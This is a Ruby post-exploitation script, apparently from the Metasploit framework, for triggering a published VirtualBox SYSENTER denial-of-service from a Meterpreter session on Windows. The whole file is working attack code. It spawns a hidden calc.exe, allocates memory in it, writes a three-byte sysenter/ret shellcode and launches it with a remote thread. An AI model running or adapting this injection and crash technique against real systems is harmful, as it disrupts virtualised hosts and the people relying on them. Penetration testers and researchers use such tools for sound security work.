Files
metasploit-gs/scripts/meterpreter/virtualbox_sysenter_dos.rb
T
Carlos Perez 7d665e8a8d All scripts that are not platform dependednt will check for version, windows specific will only run on win32, win64 and some on PHP
git-svn-id: file:///home/svn/framework3/trunk@10277 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-09 16:09:27 +00:00

51 lines
1.3 KiB
Ruby

# $Id$
# Meterpreter script for triggering the VirtualBox DoS published at:
# http://milw0rm.com/exploits/9323
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")
print_line("USAGE: run virtualbox_sysenter_dos")
print_status(opts.usage)
raise Rex::Script::Completed
end
}
#check for proper Meterpreter Platform
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
platform = client.platform.scan(/(win32|win64)/)
unsupported if not platform
# Spawn calculator
pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid
print_status("Calculator PID is #{pid}")
calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
# Allocate some memory
mem = calc.memory.allocate(32)
print_status("Allocated memory at address #{"0x%.8x" % mem}")
# Write the trigger shellcode
# sysenter
# ret
calc.memory.write(mem, "\x0f\x34\xc3")
print_status("VirtualBox SYSENTER Denial of Service launching...")
# Create a new thread on the shellcode pointer
calc.thread.create(mem, 0)
print_status("VirtualBox SYSENTER Denial of Service delivered.")